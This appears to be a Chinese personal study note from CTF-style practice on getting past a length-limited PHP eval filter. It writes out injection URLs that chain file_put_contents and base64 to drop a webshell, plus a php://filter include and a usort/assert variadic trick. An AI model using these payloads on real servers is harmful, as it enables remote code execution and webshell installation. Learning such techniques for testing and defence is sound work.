eval & exec知识点记录--原文章,只是记录一下我自己的学习过程。
1、eval & exec
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) { //echo $param; eval($param);}
访问URL:
eval执行的是php代码,可通过xxx?>html_code <? phpinfo();…这种形式来闭合eval标签。
exec执行操作系统命令(和``相同功能);
输出操作系统命令格式如下:
2、file_put_contents的用法
请求URL如下
1.php?param=$_GET[1](N, a, 8);&1=file_put_contents(error_log)类似
file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串'N';第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。
来自的描述
官方定义如下(作为参考):
filename
要被写入数据的文件名。data
要写入的数据。类型可以是 , 或者是 stream 资源(如上面所说的那样)。如果
data
指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 函数。参数
data
可以是数组(但不能为多维数组),这就相当于 file_put_contents($filename, join('', $array))。flags
flags
的值可以是 以下 flag 使用 OR (|) 运算符进行的组合。Available flags
Flag
描述在 include 目录里搜索
FILE_USE_INCLUDE_PATH
filename
。 更多信息可参见 。如果文件
FILE_APPEND
filename
已经存在,追加数据而不是覆盖。在写入时获得一个独占锁。
LOCK_EX
写入webshell 参数a不能是<,所以需要base64转义。
整体URL如下:
1.php?param=$_GET[0](N,P,8);&0=file_put_contents
wegbshell转义成base64(每次写入一个字符)然后通过文件包含拿shell
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
3、变长数组特性(5.6,)
利用usrot(...$_GET);实现,传入数组1.php?1[]=test&1[]=var_dump($_SERVER);&2=assert